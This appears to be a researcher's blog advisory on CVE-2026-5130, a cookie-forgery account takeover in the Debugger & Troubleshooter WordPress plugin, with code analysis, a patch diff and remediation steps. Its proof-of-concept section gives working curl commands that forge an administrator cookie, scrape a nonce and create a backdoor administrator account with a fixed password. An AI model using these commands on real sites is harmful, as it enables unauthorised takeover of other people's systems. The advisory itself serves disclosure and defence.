CVE-2026-5130: Debugger & Troubleshooter Unauthenticated Account Takeover

CVE-2026-5130: Debugger & Troubleshooter Unauthenticated Account Takeover

CVE-2026-5130 is a CVSS 8.8 High Severity unauthenticated privilege escalation vulnerability in the Debugger & Troubleshooter WordPress plugin. By sending a single HTTP request with a forged cookie, an attacker with no account and no prior knowledge of the site can impersonate any user — including the primary administrator — and take full control of the WordPress installation.

Vulnerability Summary

FieldValue
Plugin NameDebugger & Troubleshooter
Plugin Slugdebugger-troubleshooter
CVE IDCVE-2026-5130
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-565 — Reliance on Cookies without Validation and Integrity Checking
Vulnerability TypeUnauthenticated Privilege Escalation via Cookie Manipulation
Affected Versions<= 1.3.2
Patched Version1.4.0
PublishedMarch 30, 2026
ResearcherNabil Irawan — Heroes Cyber Security
Wordfence AdvisoryLink

Description

The Debugger & Troubleshooter plugin for WordPress includes a “User Role Simulator” feature that lets administrators temporarily impersonate other users for debugging purposes. In versions up to and including 1.3.2, the plugin trusted a client-controlled cookie (wp_debug_troubleshoot_simulate_user) as a raw user ID, with no cryptographic validation, no server-side mapping, and no check that the cookie was ever issued by an administrator.

Because the cookie value is read on every request via the plugins_loaded hook (priority 0) and then injected into WordPress’s authentication pipeline through the determine_current_user filter, an entirely unauthenticated attacker can impersonate any user on the site — including the primary administrator (typically user ID 1) — by sending a single HTTP request with a forged cookie.

This grants the attacker full administrator privileges, enabling complete site takeover: creation of new administrator accounts, plugin/theme installation, content modification, and arbitrary code execution via the standard plugin/theme upload paths.


Technical Analysis

Affected Component

Vulnerable Code Path

The exploit chain is short — three pieces of code working together is enough.

1. Hook registration (constructor, line 77):

// Core troubleshooting logic (very early hook).
add_action('plugins_loaded', array($this, 'init_troubleshooting_mode'), 0);
add_action('plugins_loaded', array($this, 'init_live_debug_mode'), 0);
add_action('plugins_loaded', array($this, 'init_user_simulation'), 0);

init_user_simulation() is wired to plugins_loaded at priority 0, which means it runs on every single HTTP request that loads WordPress — REST API calls, admin pages, front-end pages, AJAX requests, the lot. Crucially, this includes requests from completely unauthenticated visitors.

2. Cookie ingestion (init_user_simulation, lines 797–806):

public function init_user_simulation()
{
    if (isset($_COOKIE[self::SIMULATE_USER_COOKIE])) {
        $this->simulated_user_id = (int) $_COOKIE[self::SIMULATE_USER_COOKIE];

        // Hook into determine_current_user to override the user ID.
        // Priority 20 ensures we run after most standard authentication checks.
        add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
    }
}

The cookie value is directly cast to an integer and stored. There is:

If the cookie is present, the next step is unconditional.

3. Authentication override (simulate_user_filter, lines 814–820):

public function simulate_user_filter($user_id)
{
    if ($this->simulated_user_id) {
        return $this->simulated_user_id;
    }
    return $user_id;
}

determine_current_user is the canonical WordPress filter that decides who the current user is. Returning a user ID from this filter is functionally equivalent to a successful login: every subsequent call to wp_get_current_user(), is_user_logged_in(), current_user_can(), etc., will see the attacker as the impersonated user.

Because this filter runs at priority 20after the standard cookie-auth resolver — the attacker’s value overrides the legitimate authentication outcome. An anonymous request with Cookie: wp_debug_troubleshoot_simulate_user=1 is now WordPress user ID 1 (almost always the site owner / primary administrator).

Root Cause

The plugin treats a client-controlled, integrity-free cookie as an authoritative source of identity. The cookie value is the secret and the claim — there is no separation between “the attacker is asserting this user ID” and “the system has verified this assertion”. Anything the client sends is accepted.

This is a textbook example of CWE-565: Reliance on Cookies without Validation and Integrity Checking. The mistake is conceptual: the developer treated the cookie as if it were a server-issued capability (because it was set via setcookie() from an admin-only AJAX handler) rather than as untrusted user input (which is what every cookie actually is on the wire).

Why Existing Controls Failed

The plugin’s “Enter Simulation” AJAX handler (ajax_toggle_simulate_user, line 918) does enforce both a nonce and current_user_can('manage_options') before issuing the cookie:

if ($is_post) {
    check_ajax_referer('debug_troubleshoot_nonce', 'nonce');
}

if (!current_user_can('manage_options') && !$this->is_simulating_user()) {
    wp_send_json_error(array('message' => __('Permission denied.', 'debugger-troubleshooter')));
}

These checks gate the issuance of the cookie — but they are completely irrelevant to an attacker, because the cookie is just a number. The attacker doesn’t need the AJAX endpoint to issue them a cookie; they can write the cookie themselves with curl -b. The integrity check that should have run on the consumption side (init_user_simulation) was never written.

In short: the legitimate code path was protected; the trusting code path was the entire vulnerability.

Attack Impact

A single HTTP request with a forged cookie grants the attacker the privileges of any chosen user ID. Practically:

The attack requires no authentication, no user interaction, no prior knowledge of the site’s configuration, and can be performed in a single request. CVSS 8.8 (High) is on the conservative side; the practical impact is total site compromise.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only. Use only against systems you own or have explicit written permission to test.

Prerequisites

Step-by-Step Reproduction

Step 1 — Confirm the takeover by accessing the WordPress dashboard.

From a clean, unauthenticated client (no existing WordPress session), send a request to /wp-admin/ with the forged cookie:

curl -i \
  -b "wp_debug_troubleshoot_simulate_user=1" \
  "https://target.tld/wp-admin/index.php"

Without the cookie, this request would return a 302 redirect to wp-login.php. With the cookie, it returns HTTP/1.1 200 OK and the full HTML of the WordPress administrator dashboard. The response will contain markers such as <body class="wp-admin ...">, the admin bar, and the welcome panel — proof that the plugin has authenticated the request as user ID 1.

Step 2 — Harvest a user-creation nonce from the admin UI.

Now that the attacker is “logged in”, they can scrape any admin page to obtain valid nonces. Fetch the “Add New User” page and extract the _wpnonce_create-user token:

curl -s \
  -b "wp_debug_troubleshoot_simulate_user=1" \
  "https://target.tld/wp-admin/user-new.php" \
  -o user-new.html

NONCE=$(grep -oE 'name="_wpnonce_create-user" value="[a-f0-9]+"' user-new.html \
        | head -n1 \
        | sed -E 's/.*value="([a-f0-9]+)".*/\1/')

echo "Captured nonce: $NONCE"

Step 3 — Create a new administrator account.

POST to user-new.php with the harvested nonce and a new admin’s credentials:

curl -i \
  -b "wp_debug_troubleshoot_simulate_user=1" \
  -d "action=createuser" \
  -d "_wpnonce_create-user=$NONCE" \
  -d "_wp_http_referer=%2Fwp-admin%2Fuser-new.php" \
  -d "user_login=pwned" \
  -d "email=pwned@example.tld" \
  -d "first_name=" \
  -d "last_name=" \
  -d "url=" \
  -d "pass1=Sup3rStr0ng!Pass" \
  -d "pass2=Sup3rStr0ng!Pass" \
  -d "pw_weak=on" \
  -d "send_user_notification=0" \
  -d "role=administrator" \
  -d "createuser=Add+New+User+" \
  "https://target.tld/wp-admin/user-new.php"

Expected Result

After Step 1, the attacker has full administrator-level access for the duration of any request that includes the cookie — no session, no credentials, no token exchange.

After Step 3, a persistent backdoor administrator account named pwned exists in the database with the password Sup3rStr0ng!Pass. This account survives even if the plugin is later removed or patched, giving the attacker durable access independent of the original vulnerability.

Verification

Confirm the takeover via any of:

  1. Visual: open https://target.tld/wp-admin/users.php?role=administrator in a browser with the cookie set; the new pwned user appears in the administrator list.
  2. Database: wp user list --role=administrator (via WP-CLI) shows the rogue user.
  3. Login: navigate to wp-login.php and authenticate as pwned / Sup3rStr0ng!Pass — full dashboard access without any forged cookie.

Patch Analysis

What Changed

The patch (version 1.4.0) restructures the simulation feature around a server-side token store. Two changes are load-bearing:

  1. Cookie value is now an unguessable token, not a user ID. When an admin starts a simulation, the plugin generates a 64-character random token via wp_generate_password(64, false), stores token => user_id in the dbgtbl_sim_users WordPress option, and sets the cookie to the token.
  2. init_user_simulation() now requires the cookie to map to an existing entry in the option. If the token isn’t in the database, the filter is never registered and the request proceeds as anonymous.

A handful of secondary hardening changes were also made:

Fix Explanation

The fix is conceptually correct: the cookie is now an opaque reference to a server-side state record, not the state itself. An attacker who guesses or brute-forces a cookie value would need to land on a 64-character (≈378 bits of entropy) random string that an administrator has actively created — computationally infeasible. The cookie can no longer be forged by simply choosing an integer.

The token is also tied to a specific simulation session: revoking simulation deletes the token from the option, immediately invalidating the cookie. There is no longer any way for an attacker to assert identity without the database having previously been told to honor that token.

Residual considerations:

The core vulnerability is fully addressed.

Code Diff (Key Changes)

The vulnerable consumption path (lines 797–806) was rewritten:

 public function init_user_simulation()
 {
     if (isset($_COOKIE[self::SIMULATE_USER_COOKIE])) {
-        $this->simulated_user_id = (int) $_COOKIE[self::SIMULATE_USER_COOKIE];
-
-        // Hook into determine_current_user to override the user ID.
-        // Priority 20 ensures we run after most standard authentication checks.
-        add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
+        $token = sanitize_text_field(wp_unslash($_COOKIE[self::SIMULATE_USER_COOKIE]));
+        $sim_users = get_option('dbgtbl_sim_users', array());
+
+        if (isset($sim_users[$token])) {
+            $this->simulated_user_id = (int) $sim_users[$token];
+
+            // Hook into determine_current_user to override the user ID.
+            // Priority 20 ensures we run after most standard authentication checks.
+            add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
+        }
     }
 }

The cookie issuance path now generates a token and stores the mapping server-side:

     if ($enable && $user_id) {
+        $token = wp_generate_password(64, false);
+        $sim_users = get_option('dbgtbl_sim_users', array());
+        $sim_users[$token] = $user_id;
+        update_option('dbgtbl_sim_users', $sim_users);
+
         // Set cookie
-        setcookie(self::SIMULATE_USER_COOKIE, $user_id, array(
+        setcookie(self::SIMULATE_USER_COOKIE, $token, array(

And the AJAX handler’s nonce check is no longer conditional on the request method:

-    $is_post = isset($_SERVER['REQUEST_METHOD']) && 'POST' === $_SERVER['REQUEST_METHOD'];
-    if ($is_post) {
-        check_ajax_referer('debug_troubleshoot_nonce', 'nonce');
-    }
+    check_ajax_referer('debug_troubleshoot_nonce', 'nonce');

Timeline

DateEvent
(undisclosed)Vulnerability discovered by Nabil Irawan (Heroes Cyber Security) and reported to Wordfence
March 30, 2026Publicly disclosed via Wordfence Intelligence; version 1.4.0 released with the fix

Remediation

Update the debugger-troubleshooter plugin to version 1.4.0 or later immediately.

If updating is not immediately possible:

  1. Deactivate the plugin entirely — this is a debugging tool, it should not normally be active on production sites.
  2. As a temporary mitigation, block the cookie at the web-server / WAF layer:
    • Drop any incoming Cookie: header containing wp_debug_troubleshoot_simulate_user.
  3. After updating, audit the user list (wp user list --role=administrator) for any unfamiliar administrator accounts and review recent wp_options, plugin installations, and file modifications for signs of post-exploitation activity.

References

  1. Wordfence advisory: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/debugger-troubleshooter/debugger-troubleshooter-132-unauthenticated-privilege-escalation-to-administrator-via-cookie-manipulation
  2. Vulnerable source — cookie ingestion (line 827, post-patch numbering): https://plugins.trac.wordpress.org/browser/debugger-troubleshooter/tags/1.3.2/debug-troubleshooter.php#L827
  3. Vulnerable source — simulate_user_filter (line 849): https://plugins.trac.wordpress.org/browser/debugger-troubleshooter/tags/1.3.2/debug-troubleshooter.php#L849
  4. Patch changeset: https://plugins.trac.wordpress.org/changeset/3486202/debugger-troubleshooter/trunk/debug-troubleshooter.php
  5. Plugin homepage: https://wordpress.org/plugins/debugger-troubleshooter/
  6. CVE record: https://www.cve.org/CVERecord?id=CVE-2026-5130
  7. CWE-565: https://cwe.mitre.org/data/definitions/565.html

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee